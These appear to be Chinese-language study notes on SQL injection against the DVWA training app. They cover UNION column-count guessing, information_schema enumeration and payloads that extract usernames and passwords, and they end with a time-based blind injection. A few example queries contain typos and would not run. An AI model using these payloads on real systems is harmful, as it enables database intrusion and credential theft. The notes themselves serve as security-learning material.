select * from dvwa.users union select user_login,user_pass from wordpress.wp_users;
如果用union查询的话,就会报错have a different number of colums
因为两个语句查的字段数都不一样
方法:猜数字 select * from dvwa.users union select 1; select * from dvwa.users union select 1,2; select * from dvwa.users union select 1,2,3; select * from dvwa.users union select 1,2,3,4; select * from dvwa.users union select 1,2,3,4,5; select * from dvwa.users union select 1,2,3,4,5,6;
select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
information_schema
information_schema数据库字典
1 2 3 4 5 6 7 8 9 10
==查询数据库库名、表名 information_schame.tables== select * from information_schema.TABLES;
select DISTINCT table_schema from information_schema.tables;
select table_schema,table_name from information_schema.tables;
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema;
select table_name from information_schema.tables where table_schema = 'dvwa';
1 2 3 4 5 6 7 8 9 10
==查询数据库库名、表名、字段名 information.columns== select * from information_schema.columns;
select column_name from information_schema.columns;
select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';
select column_name from information_schema.columns where table_name = 'user_privileges'
select column_name from information_schema.columns where table_name = 'schema_privileges'
//猜测数据列数 ' union select 1 -- ' ' union select 1,2 -- ' ' union select 1,2,3 -- ' ' union select 1,2,3,4 -- '
SQL注入语句解析 select first_name,last_name from dvwa.users where user_id = '' union select 1 -- ''; select first_name,last_name from dvwa.users where user_id = '' union select 1,2 -- '';
获取当前数据库及用户信息 select first_name,last_name from dvwa.users where user_id = '' union select user(),database() -- '';
select first_name,last_name from dvwa.users where user_id = '' union select version(),database() -- '';
//原始语句 select first_name,last_name from dvwa.users where user_id = '$id'
//查询表数据 ' union select table_schema,column_name from information_schema.columns where table_name = 'users' -- '
//1只是用来占位的 'union select 1,column_name from information_schema.columns where table_name = 'user_privileges' -- '
' union select 1,column_name from information_schema.columns where table_name = 'schema_privileges' -- '
SQL注入语句解析: select first_name,last_name from dvwa.users where user_id = '' union select table_schema,column_name from information_schema.columns where table_name = 'users' -- ' select first_name,last_name from dvwa.users where user_id = ''union select 1,column_name from information_schema.columns where table_name = 'user_privileges' -- ' select first_name,last_name from dvwa.users where user_id = '' union select 1,column_name from information_schema.columns where table_name = 'schema_privileges' -- '
//查询列数据 ' union select NULL,user from users -- '
' union select NULL,password from users -- '
' union select user,password from users -- '
' union select password,concat(first_name,' ',last_name,' ',user) from users -- '
SQL语句解析:
select first_name,last_name from dvwa.uesrs where user_id = '' union union select password,concat(first_name,' ',last_name,' ',user) from users -- '
基于时间的盲注
1 2 3 4
1' and sleep(5) -- '
SQL注入语句解析: select frist_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '